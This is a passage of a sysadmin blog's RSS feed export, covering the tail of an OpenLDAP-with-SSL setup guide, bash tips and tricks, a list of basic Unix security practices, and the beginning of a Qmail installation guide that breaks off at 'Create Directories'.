...................................................++++++
.....................................................................++++++
writing new private key to 'server.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (eg, YOUR name) []:ldap.yourserver.com
Email Address []:</pre>
<p>Now you have created a self-signed certificate for 10 years. You can adjust this by changing the <em>-days</em> parameter.</p>
<p><strong>Configuring slapd.conf</strong></p>
<p>Let&#8217;s use ldap.yourserver.com as the FQDN of your LDAP server and continue with configuring slapd.conf.</p>
<p>You can find the configuration file at <em>/etc/ldap/slapd.conf </em>. At the bottom of the file, you can find lines related to SSL. Edit those lines so that it will look like;</p>
<pre># SSL:
# Uncomment the following lines to enable SSL and use the default
# snakeoil certificates.

#TLSCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
#TLSCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key

TLSCipherSuite HIGH:MEDIUM:-SSLv2
TLSCACertificateFile /etc/ldap/ssl/server.pem
TLSCertificateFile /etc/ldap/ssl/server.pem
TLSCertificateKeyFile /etc/ldap/ssl/server.pem</pre>
<p>The TLSCipherSuite directive allows all ciphers using greater than 128-bit encryption  (HIGH), all ciphers with 128-bit encryption (MEDIUM), and disable all SSL version 2.0 ciphers (-SSLv2). Using SSLv2 is not recommended for use however if you really need it (i.e. incompatibilites) change -SSLv2 to +SSLv2.</p>
<p><strong>Make slapd to start only with SSL</strong></p>
<p>Default slapd startup parameters are specified in <em>/etc/default/slapd. </em>Change the SLAPD_SERVICES parameter to;</p>
<pre>SLAPD_SERVICES="ldaps://ldap.yourserver.com"</pre>
<p>Otherwise you can have it like;</p>
<pre>SLAPD_SERVICES="ldaps://ldap.yourserver.com:639/ ldap://ldap.yourserver.com:389/"</pre>
<p>Watch for ldap.yourserver.com resolving to 127.0.0.1; this could cause problems down the road.</p>
<p>Ok.. that&#8217;s pretty much it! You can now restart slapd</p>
<pre>sudo /etc/init.d/slapd restart</pre>
<p><strong>Testing SSL connection to your LDAP server</strong></p>
<pre>openssl s_client -connect ldap.yourserver.com:636 -showcerts</pre>
<p>If the connection is successful you will see the following line.</p>
<pre>Verify return code: 18 (self signed certificate)</pre>
<p><strong>Testing local LDAP lookups</strong></p>
<p>In the client machine edit <em>/etc/ldap/ldap.conf</em> to allow your self-signed certificate.</p>
<pre># See ldap.conf(5) for details
# This file should be world readable but not world writable.</pre>
<pre>BASE dc=YOURDOMAIN, dc=COM
URI ldaps://ldap.yourserver.com/
TLS_REQCERT allow</pre>
<p>By setting TLS_REQCERT to allow, you are making sure that if no certificate is provided, the session proceeds normally. If a bad certificate is provided, it will be ignored and the session proceeds normally.</p>
<p>Finally from the client machine run;</p>
<pre>ldapsearch -x</pre>
<p>If it&#8217;s an empty data store you&#8217;ll see something like;</p>
<pre># extended LDIF
# LDAPv3
# base &lt;&gt; with scope sub
# filter: (objectclass=*)
# requesting: ALL
# search result
search: 2
result: 32 No such object
# numResponses: 1</pre>
<p>That is it. You now have a secure OpenLDAP server using SSL and a self-signed certificate.</p>
<a class="DiggThisButton DiggMedium" href="http://digg.com/submit?url=http%3A%2F%2Fsaguide.wordpress.com%2F2010%2F09%2F26%2Fconfigure-openldap-with-ssl%2F&amp;title=Configure+OpenLDAP+with%26nbsp%3BSSL"></a>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/saguide.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/saguide.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/saguide.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/saguide.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/saguide.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/saguide.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/saguide.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/saguide.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/saguide.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/saguide.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/saguide.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/saguide.wordpress.com/163/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/saguide.wordpress.com/163/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/saguide.wordpress.com/163/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=163&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://saguide.wordpress.com/2010/09/26/configure-openldap-with-ssl/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/fdcb12155cfeadc4403c76610363a794?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">saguide</media:title>
		</media:content>
	</item>
		<item>
		<title>Bash Tips and Tricks &#8211; 2</title>
		<link>http://saguide.wordpress.com/2009/05/05/bash-tips-and-tricks-2/</link>
		<comments>http://saguide.wordpress.com/2009/05/05/bash-tips-and-tricks-2/#comments</comments>
		<pubDate>Tue, 05 May 2009 06:21:19 +0000</pubDate>
		<dc:creator>saguide</dc:creator>
				<category><![CDATA[HOW TO]]></category>

		<guid isPermaLink="false">http://saguide.wordpress.com/?p=136</guid>
		<description><![CDATA[After a period of hibernation, I&#8217;m meeting you again with some more interesting tips and tricks related to the bash. Hope you&#8217;ll find it more interesting than the previous post. Enabling and disabling an alias To list the configured aliases you can use the command &#8216;alias&#8217; you&#8217;ll see something like this, $ alias alias ls='ls [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=136&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>After a period of hibernation, I&#8217;m meeting you again with some more interesting tips and tricks  related to the bash. Hope you&#8217;ll find it more interesting than the <a title="Bash Tips and Tricks - 1" href="http://saguide.wordpress.com/2008/12/07/bash-tips-and-tricks-1/" target="_blank">previous post</a>.</p>
<p><strong>Enabling and disabling an alias</strong></p>
<p>To list the configured aliases you can use the command <em>&#8216;alias&#8217; </em>you&#8217;ll see something like this,</p>
<pre>$ alias
alias ls='ls --color=auto'
alias rm='rm -i'</pre>
<p>As you can see, <em>rm</em> is aliased as &#8216;<em>rm -i</em>&#8216; (to prompt before every removal). So if you try to remove any file using &#8216;<em>rm</em>&#8216;, its going to prompt you for confirmation.</p>
<pre>$ rm file.txt
rm: remove regular empty file `file.txt'? y</pre>
<p>Now if you want the use &#8216;<em>rm</em>&#8216; command without the alias additions like <em>rm -i</em>, you can do it in two ways:</p>
<p>1 &#8211; Un-aliasing a command by simply prefixing the command with a &#8216;\&#8217;</p>
<pre>$ \rm file.txt</pre>
<p>2 &#8211; Using <em>&#8216;unalias</em>&#8216; command</p>
<pre>$ unalias rm</pre>
<p>The above &#8216;<em>rm</em>&#8216; one is just an example to illustrate this, you can also do &#8216;<em>rm -f</em>&#8216; for the same <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p><strong>Highlight match with color in grep command</strong></p>
<p>Like bash &#8216;<em>ls</em>&#8216; command, <em>grep</em> supports color in its output. Which means you can highlight the text that <em>grep</em> matches with color.<br />
This is controlled by <em>&#8216;&#8211;color</em>&#8216; option with <em>grep</em> command which basically surround the matching string with the marker find in GREP_COLOR environment variable.</p>
<pre>$ grep --color=auto &lt;pattern&gt; &lt;file&gt;</pre>
<p>You can also change this color by setting the GREP_COLOR environment variable to different combinations from the color code list given below.</p>
<p>For example, to highlight the matched pattern with foreground color black and background color yellow, you can say..</p>
<pre>$ export GREP_COLOR='1;30;43'</pre>
<p>The set display attributes list:</p>
<p>0    Reset all attributes<br />
1    Bright<br />
2    Dim<br />
4    Underscore<br />
5    Blink<br />
7    Reverse<br />
8    Hidden</p>
<p>Foreground Colours<br />
30    Black<br />
31    Red<br />
32    Green<br />
33    Yellow<br />
34    Blue<br />
35    Magenta<br />
36    Cyan<br />
37    White</p>
<p>Background Colours<br />
40    Black<br />
41    Red<br />
42    Green<br />
43    Yellow<br />
44    Blue<br />
45    Magenta<br />
46    Cyan<br />
47    White</p>
<p><strong>Handling &#8216;argument list too long&#8217;</strong></p>
<p>I have nearly 200,000 files in one of my log directory out of which number of files created in 2007 is 120,000. So whenever I try to do apply some command such as <em>rm</em>, <em>ls</em> or <em>cp</em> etc. on those big set of &#8220;*2007*.log&#8221; files, I used to get,</p>
<pre>$ ls *2007*.log
bash: /bin/ls: Argument list too long

$ mv *2007*.log /backup
bash: /bin/mv: Argument list too long</pre>
<p>&#8220;Argument list too long&#8221; error is occurring due to the limitation of the above commands to handle large number of arguments. But you can get the job done easily using the &#8216;<em>find</em>&#8216; command. For example, to copy the files to a separate location, you can say,</p>
<pre>$ find .  -name "*2007*.log" -exec cp {} /backup/ \;</pre>
<p>Same results can be achieved by the following as well..</p>
<pre>find .  -name "k*2007*.log" | while read FILE
    do
    ...
    &lt;some operation on $FILE&gt;
    ...
done</pre>
<p><strong>Process substitution</strong></p>
<p>This trick allows you to use a process <strong>almost</strong> anywhere you can use a file.  To illustrate, let&#8217;s consider the <em>diff</em> command.  Most versions of <em>diff</em> require you to pass exactly two file names as arguments. But what if we want to diff something, like the contents of a directory, that doesn&#8217;t necessarily exist in a file? This is where we can use process substitution. For example, to diff the contents of two directories, you could use:</p>
<pre>diff &lt;(find dir1) &lt;(find dir2)</pre>
<p>The syntax <em><code>&lt;(command)</code></em> creates a named pipe, and attaches <em>command&#8217;s</em> STDOUT to the pipe. So, anything that reads from the pipe will actually be reading the output of command. To prove this to yourself, try the following:</p>
<pre>$ echo &lt;(/bin/true)
/dev/fd/63

$ ls -l &lt;(/bin/true)
lr-x------  1 chamith chamith 64 Jul 13 21:50 /dev/fd/63 -&gt; pipe:[723168]

$ file &lt;(/bin/true)
/dev/fd/63: broken symbolic link to pipe:[728714]</pre>
<p>Similarly, you can use the syntax <em><code>&gt;(command)</code></em> to have the <em>command</em> read from the pipe. As an example:</p>
<pre>tar cvf &gt;(gzip -c &gt; dir.tar.gz) dir</pre>
<p>Obviously, there are better ways to accomplish taring and compressing, but the point was to use process substitution.</p>
<p><strong>pushd / popd</strong></p>
<p>Bash will keep a history of the directories you visit, you just have to ask. Bash stores the history in a stack and uses the commands <em>pushd</em> and <em>popd</em> to manage the stack.</p>
<p><em>pushd foo</em> &#8211; move the current directory onto the stack and change to the ,em&gt;foo</em> directory.<br />
<em>popd</em> &#8211;  pops the top directory off of the stack and moves you into it.</p>
<p>We’re opening files all over the file system, internal code, vendor code, templates, configuration files, logs. Because of this we like the ability to take a detour on the file system and still navigate back to our working directory of the day. I think these commands are so useful that I alias’d them in my .bashrc :</p>
<pre>alias cd="pushd"
alias bd="popd"</pre>
<p>Now the &#8216;cd&#8217; command manages the stack for me as well as changing directories. Aliasing<em> popd</em> to  <em>bd</em> is an easy to remember and easy to type way to move back up the stack, think “change dir” and “back dir” <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Hope you&#8217;ll find this post useful. Feel free to share your ideas about this post.</p>
<p><strong><br />
</strong></p>
<a class="DiggThisButton DiggMedium" href="http://digg.com/submit?url=http%3A%2F%2Fsaguide.wordpress.com%2F2009%2F05%2F05%2Fbash-tips-and-tricks-2%2F&amp;title=Bash+Tips+and+Tricks+%26%238211%3B%26nbsp%3B2"></a>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/saguide.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/saguide.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/saguide.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/saguide.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/saguide.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/saguide.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/saguide.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/saguide.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/saguide.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/saguide.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/saguide.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/saguide.wordpress.com/136/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/saguide.wordpress.com/136/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/saguide.wordpress.com/136/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=136&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://saguide.wordpress.com/2009/05/05/bash-tips-and-tricks-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/fdcb12155cfeadc4403c76610363a794?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">saguide</media:title>
		</media:content>
	</item>
		<item>
		<title>13 security practices for SysAdmins</title>
		<link>http://saguide.wordpress.com/2008/12/13/13-security-practices-for-a-sysadmin/</link>
		<comments>http://saguide.wordpress.com/2008/12/13/13-security-practices-for-a-sysadmin/#comments</comments>
		<pubDate>Sat, 13 Dec 2008 01:42:13 +0000</pubDate>
		<dc:creator>saguide</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[practices]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false">http://saguide.wordpress.com/?p=121</guid>
		<description><![CDATA[This information has been compiled to help system administrators certify that good security practices are being used BEFORE a computer is connected to the network. Installing System Patches It is recommended that based on the requirement, you install every patch recommended for your computer which isn&#8217;t yet installed. Since some patches restore default configurations, it&#8217;s [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=121&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This information has been compiled to help system administrators certify that good security practices are being used BEFORE a computer is connected to the network.</p>
<p><strong>Installing System Patches</strong></p>
<p>It is recommended that based on the requirement, you install every patch recommended for your computer which isn&#8217;t<br />
yet installed.  Since some patches restore default configurations, it&#8217;s important that patches are put in place before any further security precautions are taken.</p>
<p><strong>Before Recording System Defaults</strong></p>
<p>Before starting to record system defaults, a directory should be created to store them. For example;</p>
<pre>mkdir /usr/adm/checks</pre>
<p>If an unauthorized user does gain access to root privileges on the computer and changes the accounting system, the<br />
administrator will still have an original copy of it for comparison.  For safety, the system administrator should check the files against the original about once a month.</p>
<p><strong>Recording SUID and SGID Programs</strong></p>
<p>Before any software is added to the basic operating system release, the system administrator should check for SUID and SGID programs.  If unauthorized access occurs, frequently the intruder will leave a program that enables privileged<br />
re-entry.  The list of SUID and SGID programs should be stored both on and off the computer.  The version on the computer will be used by a daily cron job to check for changes, while the version stored off of the computer will ensure that even if root access is acquired, a record of the system&#8217;s original state is available.</p>
<p>The command to list SUID and SGID files is:</p>
<pre>find / -type f \( -perm -002000 -o -perm -004000 \)

-type f: looks only at regular files
-perm:   checks for permissions

-002000: checks for SGID programs
-004000: checks for SUID programs</pre>
<p><strong>Check and Record Permissions on all Device Files</strong></p>
<p>By changing the permissions on device files, an unauthorized user can gain access to devices, using this access to change files, impersonate another user, or listen in on conversations.  Record the permissions on the device files on and off the computer using:</p>
<pre>ls -al /dev/* | sort &gt; /usr/adm/checks/devices</pre>
<p><strong>Passwords and Shells on System Accounts</strong></p>
<p>Check the system password file to ensure that all accounts  have passwords.  Many vendors ship their computers with no  passwords on the system accounts.  System accounts such as bin, lp, and sync should have a &#8216;*&#8217; for the password field.  No  account should be left without a password.</p>
<p>Also, the system administrator should check to see if the computer comes with any passwords already assigned.  Some<br />
vendors give default passwords to system accounts.  Since anyone who has the same type of system knows what the default passwords are, passwords should be changed immediately.</p>
<p>Every account needs to have a shell assigned to it.  Most administrative accounts should have <em>/bin/nologin</em> as the shell, which<br />
would disallow crackers from gaining shell access using obscure system holes.</p>
<p><strong>Expire Inactive Accounts</strong></p>
<p>Computers with large numbers of users tend to have accounts that become inactive<a href="http://totse.com/en/hack/hack_attack/unixadmn.html">.</a> The beginning of a new fiscal year often<br />
brings changes in who is using the computer, as users&#8217; funding sources change<a href="http://totse.com/en/hack/hack_attack/unixadmn.html">.</a> The system administrator needs to be sensitive to those accounts that become inactive, and disable them by replacing the password field in the <em>/etc/password</em> file with an &#8216;*&#8217;.  If the user has left important data on the computer, eventually they will contact the system administrator to make arrangements to retrieve the data.  Once this data is retrieved, the account should be removed.</p>
<p><strong>Restrict Root Login to the Console</strong></p>
<p>The ability to login to the root account should be restricted to the console<a href="http://totse.com/en/hack/hack_attack/unixadmn.html">.</a> Anyone not at the console should have to use &#8216;su&#8217; to<br />
become root.  Tries to &#8216;su&#8217; are recorded in a file in <em>/usr/adm</em> such as <em>/usr/adm/sulog</em>, for accounting purposes</p>
<p><strong>Check for Duplicate Groups</strong></p>
<p>Replace any duplicated group with a group of its own.  This will remove ambiguity and make membership in a group clearer.</p>
<p><strong>Do Not Establish Guest Accounts</strong></p>
<p>Do not establish accounts for guest usage<a href="http://totse.com/en/hack/hack_attack/unixadmn.html">.</a> These accounts, often appearing as an account with login guest and password<br />
account, are common holes exploited by unauthorized users.  Every user of the computer should undergo the same security procedures, receive the same security briefing, and be held accountable to the same standards.  When users are finished using the computer, their accounts should be removed from the password file.</p>
<p><strong>&#8216;remote&#8217; Commands</strong></p>
<p>Commands preceded by the letter &#8216;r&#8217;, such as &#8216;<em>rlogin</em>&#8216; or &#8216;<em>rsh</em>&#8216;, should be disabled.  They are a source of many attacks on sites<br />
across the Internet.  If you must use &#8216;r&#8217; commands, make sure you filter the TCP ports (512,513,514) at the router; it is important to note this will only stop outsiders from abusing the commands.</p>
<p><strong>Double Check the System Before Long Weekends</strong></p>
<p>Double check the computer before long weekends to ensure there are no security problems with it.  A backup just<br />
before a long weekend is advisable.</p>
<p><strong>Do a Monthly System Check</strong></p>
<p>Run the cron script against the cron stored on the removable media in case the unauthorized user gained root access and altered the system without being noticed.</p>
<p><strong>System Security Diary</strong></p>
<p>Keep a diary of the security checks done on the computer and what their results are<a href="http://totse.com/en/hack/hack_attack/unixadmn.html">.</a> Also, document what actions are taken if holes are found or problems occur.  If there is a problem, others will want to know what the system administrator has been doing to secure the computer.</p>
<p>Hope these tips would help you in your day-to-day life.</p>
<a class="DiggThisButton DiggMedium" href="http://digg.com/submit?url=http%3A%2F%2Fsaguide.wordpress.com%2F2008%2F12%2F13%2F13-security-practices-for-a-sysadmin%2F&amp;title=13+security+practices+for%26nbsp%3BSysAdmins"></a>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/saguide.wordpress.com/121/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/saguide.wordpress.com/121/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/saguide.wordpress.com/121/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/saguide.wordpress.com/121/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/saguide.wordpress.com/121/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/saguide.wordpress.com/121/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/saguide.wordpress.com/121/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/saguide.wordpress.com/121/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/saguide.wordpress.com/121/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/saguide.wordpress.com/121/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/saguide.wordpress.com/121/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/saguide.wordpress.com/121/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/saguide.wordpress.com/121/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/saguide.wordpress.com/121/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=121&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://saguide.wordpress.com/2008/12/13/13-security-practices-for-a-sysadmin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/fdcb12155cfeadc4403c76610363a794?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">saguide</media:title>
		</media:content>
	</item>
		<item>
		<title>Mail server setup with Qmail</title>
		<link>http://saguide.wordpress.com/2008/11/16/mail-server-setup-with-qmail/</link>
		<comments>http://saguide.wordpress.com/2008/11/16/mail-server-setup-with-qmail/#comments</comments>
		<pubDate>Sun, 16 Nov 2008 09:32:28 +0000</pubDate>
		<dc:creator>saguide</dc:creator>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[mail server]]></category>
		<category><![CDATA[mta]]></category>
		<category><![CDATA[qmail]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[smtp]]></category>

		<guid isPermaLink="false">http://saguide.wordpress.com/?p=92</guid>
		<description><![CDATA[What is Qmail? Qmail is an Internet Mail Transfer Agent (MTA) for UNIX-like operating systems. It&#8217;s a drop-in replacement for the Sendmail system provided with UNIX operating systems. Qmail uses the Simple Mail Transfer Protocol (SMTP) to exchange messages with MTA&#8217;s on other systems. Why Qmail? Your operating system might already have an MTA, probably [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=saguide.wordpress.com&amp;blog=5170978&amp;post=92&amp;subd=saguide&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>What is <a title="Qmail official site" href="http://www.qmail.org/" target="_blank">Qmail</a>?</strong></p>
<p>Qmail is an Internet Mail Transfer Agent (MTA) for UNIX-like operating systems. It&#8217;s a drop-in replacement for the <a title="Sendmail official site" href="http://www.sendmail.org/" target="_blank">Sendmail</a> system provided with UNIX operating systems. Qmail uses the Simple Mail Transfer Protocol (SMTP) to exchange messages with MTA&#8217;s on other systems.</p>
<p><strong>Why Qmail?</strong></p>
<p>Your operating system might already have an MTA, probably <a title="Postfix official site" href="http://www.postfix.org/" target="_blank">Postfix</a> or Sendmail<em>,</em> so if you&#8217;re reading this document you&#8217;re probably looking for something different. Some of the advantages of Qmail over vendor-provided MTA&#8217;s include:</p>
<ul>
<li><strong>Security</strong> &#8211; Qmail was designed for high security. Sendmail has a long history of serious security problems. When Sendmail was written, the internet was a much friendlier place. Everyone knew everyone else, and there was little need to design and code for high security. Today&#8217;s Internet is a much more hostile environment for network servers. Sendmail&#8217;s author, Eric Allman, and the current maintainer, Claus Assman, have done a good job of tightening up the program, but nothing short of a redesign can achieve &#8220;true&#8221; security.</li>
<li><strong>Performance</strong> &#8211; Qmail parallelizes mail delivery, performing up to 20 deliveries simultaneously, by default.</li>
<li><strong>Reliability</strong> &#8211; Once Qmail accepts a message, it guarantees that it won&#8217;t be lost. Qmail also supports a new mailbox format that works reliably <em>even over NFS</em> without locking.</li>
<li><strong>Simplicity</strong> &#8211; Qmail is smaller than any other equivalently-featured MTA.</li>
</ul>
<p>The <a title="Qmail ewb page" href="http://cr.yp.to/qmail.html" target="_blank">Qmail web page</a>, has a comprehensive list of Qmail&#8217;s features.</p>
<p><strong>Comparison with other MTA&#8217;s</strong></p>
<p>A book could be written about this topic, but it would be tedious reading. Here&#8217;s a quick comparison of Qmail with some of the most common UNIX MTA&#8217;s.</p>
<table class="columns" style="height:120px;" border="1" width="435">
<tbody>
<tr class="heading">
<td><strong><strong>MTA</strong></strong></td>
<td><strong><strong>Maturity</strong></strong></td>
<td><strong><strong>Security</strong></strong></td>
<td><strong><strong>Features</strong></strong></td>
<td><strong><strong>Performance</strong></strong></td>
<td><strong><strong>Sendmailish</strong></strong></td>
<td><strong><strong>Modular</strong></strong></td>
</tr>
<tr>
<td>Qmail</td>
<td>medium</td>
<td>high</td>
<td>high</td>
<td>high</td>
<td>addons</td>
<td>yes</td>
</tr>
<tr>
<td>Sendmail</td>
<td>high</td>
<td>low</td>
<td>high</td>
<td>low</td>
<td>x</td>
<td>no</td>
</tr>
<tr>
<td>Postfix</td>
<td>medium</td>
<td>high</td>
<td>high</td>
<td>high</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>Exim</td>
<td>medium</td>
<td>low</td>
<td>high</td>
<td>medium</td>
<td>yes</td>
<td>no</td>
</tr>
<tr>
<td>Courier</td>
<td>low</td>
<td>medium</td>
<td>high</td>
<td>medium</td>
<td>optional</td>
<td>yes</td>
</tr>
</tbody>
</table>
<p>NOTE: <em>Sendmailish</em> means the MTA behaves like Sendmail in some ways that would make a switch from Sendmail to the alternative MTA more user-transparent, such as the use of <tt>.forward</tt> files, <tt>/etc/aliases</tt>, and delivery to <tt>/var/spool/mail</tt>.</p>
<p><strong>Preparation</strong></p>
<p>Before 2007-11-30, Qmail&#8217;s restrictive licensing regarding the distribution of pre-built packages meant that it was usually installed from a source code distribution. This may change in the future, especially if <em>daemontools</em> and <em>ucspi-tcp</em> are placed in the public domain. For now, though, source code is still the preferred distribution method for Qmail.</p>
<p>Before installing Qmail on a system, especially if this is your first Qmail installation, there are a few things you need to think about.</p>
<ul>
<li>If possible, install Qmail on a staging environment. This will give you a chance to make mistakes without losing important mail or interrupting mail service to your users.</li>
<li>If you don&#8217;t have a spare, and your system is already handling mail using sendmail, smail, or some other MTA, you can install and test most pieces of Qmail without interfering with the existing service.</li>
<li>When migrating a system from some other MTA to Qmail&#8211;even if you&#8217;ve got some Qmail experience under your belt&#8211;it&#8217;s a good idea to formulate a plan.</li>
</ul>
<p>Note: The Qmail <tt>bin</tt> directory must reside on a file-system that allows the use of executable and <tt>setuid()</tt> files. Some OS distributions automatically mount <tt>/var</tt> with the <tt>nosuid</tt> or <tt>noexec</tt> options enabled. On such systems, either these options should be disabled or <tt>/var/qmail/bin</tt> should reside on another filesystem without these options enabled.</p>
<p><strong>Download the soure</strong></p>
<p>OK, so you&#8217;ve got a system meeting the requirements ready for installing Qmail. The first step is to download the source code for Qmail and any other add-ons. You&#8217;ll need <em>qmail</em>, of course, and you should probably also get <em>ucspi-tcp</em> and <em>daemontools</em>:</p>
<ul>
<li>Qmail &#8211;  <a href="http://www.qmail.org/netqmail-1.06.tar.gz">http://www.qmail.org/netqmail-1.06.tar.gz</a></li>
<li>ucspi-tcp &#8211; <a href="http://cr.yp.to/ucspi-tcp/ucspi-tcp-0.88.tar.gz">http://cr.yp.to/ucspi-tcp/ucspi-tcp-0.88.tar.gz</a></li>
<li>daemontools &#8211; <a href="http://cr.yp.to/daemontools/daemontools-0.76.tar.gz">http://cr.yp.to/daemontools/daemontools-0.76.tar.gz</a><strong><br />
</strong></li>
</ul>
<p>Note: If any of the links fail, it&#8217;s probably because the package has been updated. In that case, you should go to <a href="http://cr.yp.to/software.html">http://cr.yp.to/software.html</a> and follow the links to download the current version. It&#8217;s possible that upgraded versions aren&#8217;t compatible with the following instructions, so be sure to read the release notes in the &#8220;Upgrading from previous versions&#8230;&#8221; sections.</p>
<p><strong>Unpack the distribution</strong></p>
<p>To continue from this point onwards, you need a working C compiler and the tarballs. Next, copy or move the tarballs to the directory you want to do the work in. <tt>/usr/local/src</tt> is a good choice for <em>qmail</em> and <em>ucspi-tcp</em>. <em>daemontools</em> should be built under <tt>/package</tt>.</p>
<p>At this time you probably want to become root, if you&#8217;re not already.</p>
<pre>    su
    umask 022
    mkdir -p /usr/local/src
    mv netqmail-1.06.tar.gz ucspi-tcp-0.88.tar.gz /usr/local/src
    mkdir -p /package
    mv daemontools-0.76.tar.gz /package
    chmod 1755 /package</pre>
<p>Now you can unpack the packages.</p>
<pre>    cd /usr/local/src
    gunzip netqmail-1.06.tar.gz
    tar xpf netqmail-1.06.tar
    gunzip ucspi-tcp-0.88.tar.gz
    tar xpf ucspi-tcp-0.88.tar
    rm *.tar      <em># optional, unless space is very tight</em>
    cd /package
    gunzip daemontools-0.76.tar.gz
    tar xpf daemontools-0.76.tar
    rm *.tar      <em># optional, again</em></pre>
<p>There should now be directories called <tt>/usr/local/src/netqmail-1.06</tt>, <tt>/usr/local/src/ucspi-tcp-0.88</tt>, and <tt>/package/admin/daemontools-0.76</tt>.</p>
<p><strong>Create Directories</strong></p>
